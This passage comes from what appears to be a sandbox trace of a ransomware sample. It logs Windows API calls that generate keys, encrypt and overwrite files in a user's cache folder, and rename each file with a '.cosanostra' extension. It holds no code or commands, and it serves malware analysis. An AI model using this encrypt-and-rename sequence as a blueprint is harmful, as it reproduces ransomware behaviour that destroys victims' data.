lpOverlapped=0x0 | out: lpBuffer=0x2abee94*, lpNumberOfBytesWritten=0x2abee54*=0x4, lpOverlapped=0x0) returned 1 [0102.190] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee54, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee54*=0x30, lpOverlapped=0x0) returned 1 [0102.190] CloseHandle (hObject=0x15c) returned 1 [0102.190] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416.cosanostra") returned 163 [0102.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8828f39c7c0ce9a14b25c7eb321181ba_c6ef73e4482b2588b1252d1a64b99416"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8828f39c7c0ce9a14b25c7eb321181ba_c6ef73e4482b2588b1252d1a64b99416.cosanostra")) returned 1 [0102.191] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee90 | out: pbBuffer=0x2abee90) returned 1 [0102.191] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee88*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee88*=0x30) returned 1 [0102.191] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8828f39c7c0ce9a14b25c7eb321181ba_3df94eb797096674f7793a562a778c5f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.192] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned 152 [0102.192] StrStrW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpSrch=".txt") returned 0x0 [0102.192] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.193] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x188, lpNumberOfBytesWritten=0x2abee4c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee4c*=0x188, lpOverlapped=0x0) returned 1 [0102.193] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.193] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee4c, lpOverlapped=0x0 | out: lpBuffer=0x2abee8c*, lpNumberOfBytesWritten=0x2abee4c*=0x4, lpOverlapped=0x0) returned 1 [0102.193] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee4c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee4c*=0x30, lpOverlapped=0x0) returned 1 [0102.193] CloseHandle (hObject=0x15c) returned 1 [0102.193] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F.cosanostra") returned 163 [0102.193] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8828f39c7c0ce9a14b25c7eb321181ba_3df94eb797096674f7793a562a778c5f"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8828f39c7c0ce9a14b25c7eb321181ba_3df94eb797096674f7793a562a778c5f.cosanostra")) returned 1 [0102.194] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee90 | out: pbBuffer=0x2abee90) returned 1 [0102.194] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee88*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee88*=0x30) returned 1 [0102.194] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\828298824ea5549947c17ddabf6871f5_0206efbc540300c3bf0163cdbc3d7d56"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.195] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned 152 [0102.195] StrStrW (lpFirst="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpSrch=".txt") returned 0x0 [0102.196] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.196] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2abee4c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee4c*=0x180, lpOverlapped=0x0) returned 1 [0102.196] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.196] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee4c, lpOverlapped=0x0 | out: lpBuffer=0x2abee8c*, lpNumberOfBytesWritten=0x2abee4c*=0x4, lpOverlapped=0x0) returned 1 [0102.196] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee4c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee4c*=0x30, lpOverlapped=0x0) returned 1 [0102.196] CloseHandle (hObject=0x15c) returned 1 [0102.197] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56.cosanostra") returned 163 [0102.197] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\828298824ea5549947c17ddabf6871f5_0206efbc540300c3bf0163cdbc3d7d56"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\828298824ea5549947c17ddabf6871f5_0206efbc540300c3bf0163cdbc3d7d56.cosanostra")) returned 1 [0102.197] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee88 | out: pbBuffer=0x2abee88) returned 1 [0102.197] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee80*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee80*=0x30) returned 1 [0102.197] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_f6e15778dc8e326895c606fbfa0392eb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.199] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned 152 [0102.199] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpSrch=".txt") returned 0x0 [0102.199] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.200] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x2abee44, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee44*=0x186, lpOverlapped=0x0) returned 1 [0102.200] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.200] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee44, lpOverlapped=0x0 | out: lpBuffer=0x2abee84*, lpNumberOfBytesWritten=0x2abee44*=0x4, lpOverlapped=0x0) returned 1 [0102.200] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee44, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee44*=0x30, lpOverlapped=0x0) returned 1 [0102.200] CloseHandle (hObject=0x15c) returned 1 [0102.200] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB.cosanostra") returned 163 [0102.200] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_f6e15778dc8e326895c606fbfa0392eb"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_f6e15778dc8e326895c606fbfa0392eb.cosanostra")) returned 1 [0102.201] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee88 | out: pbBuffer=0x2abee88) returned 1 [0102.201] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee80*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee80*=0x30) returned 1 [0102.201] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_f2318f7ab33980a131a265454c39ca30"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.202] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned 152 [0102.202] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpSrch=".txt") returned 0x0 [0102.203] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.203] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2abee44, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee44*=0x182, lpOverlapped=0x0) returned 1 [0102.203] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.203] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee44, lpOverlapped=0x0 | out: lpBuffer=0x2abee84*, lpNumberOfBytesWritten=0x2abee44*=0x4, lpOverlapped=0x0) returned 1 [0102.203] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee44, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee44*=0x30, lpOverlapped=0x0) returned 1 [0102.203] CloseHandle (hObject=0x15c) returned 1 [0102.203] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30.cosanostra") returned 163 [0102.203] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_f2318f7ab33980a131a265454c39ca30"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_f2318f7ab33980a131a265454c39ca30.cosanostra")) returned 1 [0102.204] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee80 | out: pbBuffer=0x2abee80) returned 1 [0102.204] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee78*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee78*=0x30) returned 1 [0102.204] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_e907d7a04657714b5b06d18bc920971e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.204] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned 152 [0102.204] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpSrch=".txt") returned 0x0 [0102.205] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.205] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x2abee3c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee3c*=0x186, lpOverlapped=0x0) returned 1 [0102.205] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.205] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee3c, lpOverlapped=0x0 | out: lpBuffer=0x2abee7c*, lpNumberOfBytesWritten=0x2abee3c*=0x4, lpOverlapped=0x0) returned 1 [0102.205] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee3c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee3c*=0x30, lpOverlapped=0x0) returned 1 [0102.205] CloseHandle (hObject=0x15c) returned 1 [0102.206] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E.cosanostra") returned 163 [0102.206] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_e907d7a04657714b5b06d18bc920971e"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_e907d7a04657714b5b06d18bc920971e.cosanostra")) returned 1 [0102.206] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee80 | out: pbBuffer=0x2abee80) returned 1 [0102.206] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee78*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee78*=0x30) returned 1 [0102.206] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_c080da2ae431c1a7f3b0c147eeb043ed"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.207] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned 152 [0102.207] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpSrch=".txt") returned 0x0 [0102.208] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.208] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x2abee3c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee3c*=0x186, lpOverlapped=0x0) returned 1 [0102.208] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.208] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee3c, lpOverlapped=0x0 | out: lpBuffer=0x2abee7c*, lpNumberOfBytesWritten=0x2abee3c*=0x4, lpOverlapped=0x0) returned 1 [0102.208] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee3c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee3c*=0x30, lpOverlapped=0x0) returned 1 [0102.209] CloseHandle (hObject=0x15c) returned 1 [0102.209] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED.cosanostra") returned 163 [0102.209] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_c080da2ae431c1a7f3b0c147eeb043ed"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_c080da2ae431c1a7f3b0c147eeb043ed.cosanostra")) returned 1 [0102.210] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee78 | out: pbBuffer=0x2abee78) returned 1 [0102.210] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee70*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee70*=0x30) returned 1 [0102.210] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_74e943f7dab6d19e37e4854057155778"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.211] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned 152 [0102.211] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpSrch=".txt") returned 0x0 [0102.213] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.213] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2abee34, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee34*=0x182, lpOverlapped=0x0) returned 1 [0102.213] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.214] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee34, lpOverlapped=0x0 | out: lpBuffer=0x2abee74*, lpNumberOfBytesWritten=0x2abee34*=0x4, lpOverlapped=0x0) returned 1 [0102.214] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee34, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee34*=0x30, lpOverlapped=0x0) returned 1 [0102.214] CloseHandle 